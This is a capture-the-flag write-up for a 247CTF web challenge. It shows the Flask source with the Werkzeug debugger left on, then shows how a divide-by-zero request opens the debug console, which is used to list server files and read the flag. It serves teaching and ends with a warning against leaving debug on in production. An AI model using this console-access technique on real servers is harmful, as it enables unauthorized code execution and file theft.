CREATIVE CHAOS   ▋ blog

Try and Catch (web)

PUBLISHED ON 02/05/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

Intro

Can you find the bug and trigger an exception in this web application?

Took the first blood on this challenge :)

Code

from flask import Flask, request
from werkzeug.debug import DebuggedApplication
import os

app = Flask(__name__)
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.config['SECRET_KEY'] = os.urandom(32)
calculate = {"+" : lambda x, y: x + y,
             "-" : lambda x, y: x - y,
             "*" : lambda x, y: x * y,
             "/" : lambda x, y: x / y}

def safe_cast(val, to_type):
    try:
        return to_type(val)
    except (ValueError, TypeError):
        return None

@app.route('/calculator')
def flag():
    number_1 = safe_cast(request.args.get("number_1"), int)
    number_2 = safe_cast(request.args.get("number_2"), int)
    operation = safe_cast(request.args.get("operation"), str)
    if None in (number_1, number_2, operation) or not operation in calculate:
        return "Invalid calculator parameters"
    return "Calculation complete: %s" % calculate[operation](number_1, number_2)

@app.route('/')
def source():
    return "
%s
" % open(__file__).read()

if __name__ == "__main__":
    app.run(debug=True)

Intelligence

  1. We can see that debug option is set to true.
  2. Google around for werkzeug.debug. This is bad. https://werkzeug.palletsprojects.com/en/1.0.x/
  3. Instruction gives us the tip to raise an exception.
  4. Divide by 0?
  5. Encode \ in URL (%2F). https://www.urlencoder.org
  6. Raised exception gives us debug terminal.
  7. Use imported os to list files in current dir and find the flag.

Howto

Crafting division by 0 request:

https://5ac3efd17fed9630.247ctf.com/calculator?number_1=1&number_2=0&operation=%2F

Hover over and click the little console icon besides:

File "/app/run.py", line 11, in <lambda>
>>> os.listdir()
['flag.txt', 'run.py']
>>> f = open('flag.txt', 'r')
>>> contents = f.read()
>>> print (contents)
247CTF{XXXX}

So folks, never leave debug on when going from development to production!